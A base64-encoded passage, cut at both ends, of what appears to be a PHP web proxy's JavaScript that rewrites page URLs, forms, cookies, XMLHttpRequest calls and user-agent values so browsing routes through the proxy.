HJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl